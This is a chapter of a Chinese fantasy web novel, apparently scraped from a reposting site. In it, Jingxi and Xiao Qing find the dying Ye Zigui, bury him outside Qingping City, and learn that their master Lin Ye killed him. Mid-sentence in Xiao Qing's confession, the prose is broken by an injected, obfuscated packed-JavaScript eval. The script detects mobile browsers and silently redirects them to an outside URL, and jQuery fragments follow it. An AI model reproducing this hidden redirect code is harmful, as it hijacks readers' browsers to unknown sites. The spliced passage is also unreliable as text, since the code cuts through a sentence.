113. 八目慈悲(十八)

作品:《黑月光她从地狱爬出来后

    戒律堂后堂的主室内,早已人去楼空,半昏的落日映着朝霞,空空荡荡的寂静。


    萧晴穿过门扉,快速推开房门,又跑到木架旁,将青瓷花瓶一扭,一处紧靠着墙壁,通向地下的阶梯缓缓浮现在眼前。


    萧晴迫不及待冲了下去。


    跑了两步发觉景熙还未跟上,回头看去,景熙面无表情又一动不动站在那儿,她焦急喊道:“大姐,你这时候发什么呆啊,快走啊!”


    景熙闻言,回过神来,一阶一阶向下迈去,却忽地脚下一麻,陡然失了力气,成球滚了下去,直直撞向了远在前方的萧晴。


    “诶,我——啊!”萧晴忽地被砸中,未来得及反应就被带下去了。眩晕感袭来,连喊叫都喊不出。


    好在这段台阶不算长,不过片刻,二人便停了下来。


    萧晴坐起来灰头土脸地呸了两口,张嘴就想骂人,“你是不是……”却在看到景熙那一脸恍惚的神色时将话咽了下去。


    她推推景熙:“喂,你没事吧?”


    景熙没理她,满头满脸灰扑扑的坐在地上,随即麻木地站了起来,向前跑去。


    萧晴看她站了起来,也跟着爬了起来,快跑着跟上去。


    这处空间不算小,却也不算大,拐角之后又爬了几十登石阶,陡然天光乍亮,稀稀疏疏的青草中映出了一道青色身影,像一只扭曲的蛇,弓在那里。


    景熙脚下一顿,顾不得想什么,用力跑过去,可惜跑得急了没在意脚下,景熙被摔了个跟头,手脚并用地爬过去,将人翻了过来。


    “梓归?梓归,梓归,叶梓归!”


    景熙模糊的嗓音在她自己的脑海中回荡,她紧紧抱着这具发凉的身子,用力晃着。


    萧晴猛地推了她一把,没能推动,自己却跌坐在了地上,喊道:“景熙!你别晃了,晃他有什么用,快想办法救命啊!”


    对,救命,救命。


    景熙捏上他的腕脉,却霎时之间面如土色,脉象尽断,生机尽失,要不是他心口那吊着半口气的术法,叶梓归此时恐怕早已命魂归西了。


    可是,哪怕这样,他也活不成了。


    萧晴见她面色,一时也慌张了,苍白着一张脸,也探上了他的脉搏。


    “没……没有了。”连脉搏都没有了。


    晚了。完了。


    “怎么办?”萧晴怔怔地看向景熙,下意识自言自语地问出一句。


    景熙握着叶梓归的手,努力修复着他满身破损的灵脉,可无论她用什么方法,灵力渡入身体后唯一的结果就是消逝。


    灵脉破损太严重,已经修补都无法修补了。


    “少主……”


    景熙怀中的叶梓归不知何时睁开了双眼,他用苍白的手掌无力地反握景熙的手,虚弱地唤了一声。


    “对不起,没办法陪你走下去了。”


    他边说着话,边从口中吐出血来,一股一股如同汩汩的泉水,沿着下颏滴落。


    他无力地昂着头,空洞的眼睛望着悠长的碧空,期艾道:“少主,少主,我不想,不想,不想死啊,真,真的不想死……”


    话落,他虚握在景熙的手陡然失了力,整个人沉重地跌进景熙冰冷的怀中。


    景熙紧紧抱住他,一张面无表情的脸上满是麻木。


    我知道,我知道,我知道你不想死……


    “叶,叶哥哥……呜呜……呜呜呜呜……”萧晴忍不住哭了起来,呜咽的声音稀稀落落,惹得人心烦意乱。


    渐渐的,景熙怀中的身体失了温度,由柔软变得僵硬。她呆跪着,萧晴也颓坐着,直到天染墨色,孤月照面,景熙站起身来,抱着尸首向外走去。


    萧晴揉揉哭肿的眼也爬了起来,亦步亦趋跟在景熙身后,骄横又委屈地喊道:“喂,你带着我的叶哥哥干什么去!”


    “叶哥哥”一出又哽咽了几声,景熙脚步一顿回头瞧她,却见她的泪水又噙满了眼眶。


    景熙默了默,道:“……安葬了他。”


    说完,她继续向前走去。


    萧晴一把鼻涕一把泪,大声追问道:“你要去哪儿埋!”


    景熙道:“跟上。”


    青平城郊外,一个人影落地。景熙抱着叶梓归的尸首,站在低矮的丘陵前,沉寂如水。


    她将人轻轻放在草地上,压塌了一片人形的春日嫩芽。她又从空间拿出了剑,一下一下沉默地开始刨坑。


    萧晴追了上来,最先看到的是叶梓归躺在冰凉地面上的尸首,她扑过去将人抱起来,愤怒道:“为什么要将叶哥哥放在这么凉这么脏的地上,他最不喜欢脏了,最害怕冷了……”


    她说了一通,却听不到景熙的回答,抹去模糊视线的泪水,陡然看见了景熙那面无表情的一张脸,一股气涌了上来,愤愤不平斥道:“景熙!叶哥哥死了你怎么什么表示都没有,你怎么这么冷血无情,呜,我叶哥哥对你那么好,他死了你都不伤心!呜呜呜……”说着说着,她又摸着眼睛呜咽地哭了起来。


    月夜里的郊外,一个挖坟的女人和一个抱着尸首疾哭的女人,诡异的氛围在其间萦绕。


    萧晴哭了一通,哭累了就红着眼眶呆站在原地,怀中尸首被她谨慎抱着,几只萤火虫围了上来。


    她呆呆地盯着空中微茫的亮光,耳边响起了景熙分外冷漠的声音:“把他给我。”


    萧晴抬头看她,横横道:“我才不给你,我要亲自放!”她连个眼神都不施舍给景熙,直接向棺材走去。


    这棺材正平平稳稳地躺在坟坑旁,材质上乘,质量甚佳。萧晴疑惑景熙何时买了一口棺材,却也懒得多问了,她耸耸鼻尖,将人轻轻放进棺材中,一点尘灰都没沾染上。


    景熙见人放好了,挥手顷刻之间棺盖便盖上了。萧晴本想再看看叶梓归,可景熙这么一遭阻断了她的视线,她彻底爆发了。


    “景熙,你要做什么,你就这么迫不及待将叶哥哥埋了吗?!!!”


    景熙冷冷地将棺材放进坑中,一下下地埋土。


    萧晴冲到景熙身旁,叫嚷道:“你没听到我说话吗?!!”


    景熙埋土的手一顿,道:“告诉我,谁杀了叶梓归?一字不落地全部告诉我。”


    萧晴闻言,偃旗息鼓了,蔫蔫地蹲在地上填土。她抽抽鼻子:“是……是师父杀的。”


    林冶?!景熙蹙起眉头,听萧晴继续道:“去年过年,叶哥哥并未回宗,而是在无疆谷过的年,后来师父知晓了这件事,也知晓了你们的关系……便想派叶哥哥接近你,并暗杀你。可叶哥哥不从,拼死抵抗,师父便将他关了起来,后来……后来不知为何,他对叶哥哥下了死手。我……我因着叶哥哥被关的事一直在师父身边偷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226320|169645||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    偷跟着,今日我闻到血腥气察觉到不对劲,才进的密室……结果就发现,叶哥哥他……躺在那儿了。”


    萧晴话说着,眼眶又红了。


    景熙手中埋土的动作不停,抬眸打量她,问道:“林冶怎知叶梓归在无疆谷过年一事?”


    当初与叶梓归一同在无疆谷过年的,能与林冶说上话的,也就只有祁夜依、桃桃和萧晴了。


    桃桃暂且不论。


    至于祁夜依,若是以往,她是不会怀疑他的,可如今的祁夜依,她没有任何的信任。


    而眼前的萧晴,景熙静静的看着她,眼底平静无波,是最值得怀疑。


    萧晴不敢直视景熙那双直刺人心的眼睛,紧紧咬着下唇,低下头颅,供认不讳了:“是我……我将此事说漏了嘴,我对不起叶哥哥……”


    她抽噎一通,满腹的自责与委屈与打旋儿的泪一同涌了出来。美人啼哭,可谓听者落泪,闻者伤心,恨不得当即将她拥入怀中安慰,只可惜在场的除了一个冷石心肠的景熙,就是一片广袤的草地。


    待她停止哭泣,景熙的土也填完了,她立了一座木碑,提剑在上面刻了几个大字“故友叶梓归之墓”。


    简简单单,普普通通。


    景熙凝望着它,平静道:“桑梓之地,是为故乡,梓归之意,是为归家。叶家非我青平中人,也非长楚中人,亡国一族,无处可去。当年父亲收留了叶伯伯一家老小,他们便在青平安了身。”景熙笑笑,一番话似乎说给萧晴听,也似乎说给自己听,“梓归是在青平城出生的,他是个地地道道的青平人,善良、温和、笨拙、腼腆,他说他生在青平,死后便要葬在青平……只可惜当年,人未死,家先灭。”


    这个怀揣着父母憧憬的名字,落在孩子身上,却成了一道谶言。


    景熙抬头望向今晚的月亮,月亮很皎洁,光芒万丈,又很孤独,一轮孤月。萧晴的目光也不自觉随她看着。


    景熙淡淡的语气再次传来:“人只要会说话就会骗人,一骗人心里就有鬼,心里有鬼了便会生愧,所以他于你有愧,才一直将你带在身旁。而今这般境地,你们也算两清,你走吧。”


    “怎么,怎么能两清!”萧晴失魂落魄,撕心裂肺地喊着,“他根本就不欠我什么,都是我欠他的,怎么能两清!”


    “那你要怎么样,是想让我杀了你吗?!”


    景熙陡然暴怒的质问冲击着萧晴的耳朵,她看着景熙那双似乎要吃人的眼睛,胆颤地打了个哆嗦,向后退了一步。


    景熙压下心中这股气,冷冷地再次重复了一遍:“走。再不走我杀了你。”


    萧晴咬着唇不吭声,良久,她向着叶梓归坟墓磕了个头,对景熙道:“你会不会给叶哥哥报仇!”


    依旧是娇蛮又任性的语气。


    景熙看她一眼,不言而喻。


    萧晴知道了,她起身,御剑飞走了。


    景熙望着她逐渐变为小点的身影,印堂处隐隐动着金光,像修行了千万年的善人,功德无量。可她脑海中却疯狂重复叫嚣的三个字——


    杀了她!杀了她!杀了她!杀了她!!!!


    景熙冷冷地收起剑,向凌剑宗而去。


    本以为是兄弟情深,却不想竟是逃脱罪孽。林冶,你以为你逃出凌剑宗我便寻不到你了吗?逃得了一时,如何逃得了一世。